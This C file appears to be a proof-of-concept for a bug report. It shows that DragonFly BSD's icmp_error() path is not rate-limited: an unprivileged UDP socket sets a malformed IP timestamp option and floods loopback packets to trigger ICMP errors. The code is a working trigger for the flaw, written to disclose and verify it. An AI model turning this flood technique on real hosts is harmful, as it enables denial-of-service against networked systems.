DF-0518 / df0518.c
/* * DF-0518 โ Demonstrate that icmp_error() emission is NOT rate-limited. * * Bug: badport_bandlim()/icmplim rate-limit is applied in icmp_input() * for ICMP_ECHO (ip_icmp.c:787) and ICMP_TSTAMP (ip_icmp.c:807) replies, * and at the UDP-no-listener caller in udp_usrreq.c:609 โ but NOT inside * icmp_error() itself nor at the four direct callers in ip_input.c * (lines 1780 [bad IP options], 2030 [TTL exceeded], 2037 [host * unreachable], 2184 [PMTUD]). * * This PoC exercises the un-rate-limited path at ip_input.c:1780 from an * UNPRIVILEGED user: open a UDP socket, install a malformed IPOPT_TS * option via setsockopt(IP_OPTIONS) (no privilege required), and flood * packets to 127.0.0.1. Each packet loops back through ip_input() where * ip_dooptions() rejects the bad option and fires icmp_error() with no * preceding badport_bandlim() check. * * Proof of the bug: with icmplim=200, an UNRATE-LIMITED path produces * thousands of "calls to icmp_error" per second (the icmplim cap never * applies); on a FIXED kernel the counter plateaus at 200/sec. * * Build: cc -O2 -o df0518 df0518.c * Run: ./df0518 [count] # default 10000 */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <time.h> int main(int argc, char **argv) { long count = argc > 1 ? strtol(argv[1], NULL, 0) : 10000; int s, rc, i; struct sockaddr_in dst; unsigned char pkt[32]; /* Malformed IPOPT_TS: type=0x68 (TS|COPY), len=8, ptr=5 (past end), * overflow flag set so ip_dooptions() takes `goto bad` -> icmp_error(). */ unsigned char opt[8] = { 0x68, 8, 5, 1, 0, 0, 0, 0 }; struct timespec ts1, ts2; memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(9999); /* no listener */ inet_pton(AF_INET, "127.0.0.1", &dst.sin_addr); s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 2; } rc = setsockopt(s, IPPROTO_IP, IP_OPTIONS, opt, sizeof(opt)); if (rc < 0) { perror("setsockopt IP_OPTIONS"); fprintf(stderr, "Note: if this fails, your kernel rejects the " "malformed option at socket-option time. On DragonFly " "6.5-DEV the option is accepted and the bad-options path " "in ip_dooptions() fires icmp_error().\n"); return 2; } fprintf(stderr, "DF-0518: malformed IPOPT_TS installed; sending %ld " "UDP pkts to 127.0.0.1\n", count); memset(pkt, 'X', sizeof(pkt)); clock_gettime(CLOCK_MONOTONIC, &ts1); for (i = 0; i < count; i++) { rc = sendto(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&dst, sizeof(dst)); if (rc < 0 && errno != ENETUNREACH && errno != EHOSTUNREACH) { /* Connection-refused means the ICMP error came back; keep going */ } } clock_gettime(CLOCK_MONOTONIC, &ts2); close(s); { double elapsed = (ts2.tv_sec - ts1.tv_sec) + (ts2.tv_nsec - ts1.tv_nsec) / 1e9; fprintf(stderr, "DF-0518: %ld sendto() in %.4fs (%.0f/s)\n", count, elapsed, count / (elapsed > 0 ? elapsed : 1e-9)); fprintf(stderr, "DF-0518: check `netstat -s | grep icmp` โ " "'calls to icmp_error' should have climbed to ~%ld.\n", count); fprintf(stderr, "DF-0518: if the icmplim=%d cap applied it would " "have plateaued at ~%d/sec. It does NOT plateau on the " "buggy kernel because icmp_error() has no rate-limit.\n", 200, 200); } return 0; } |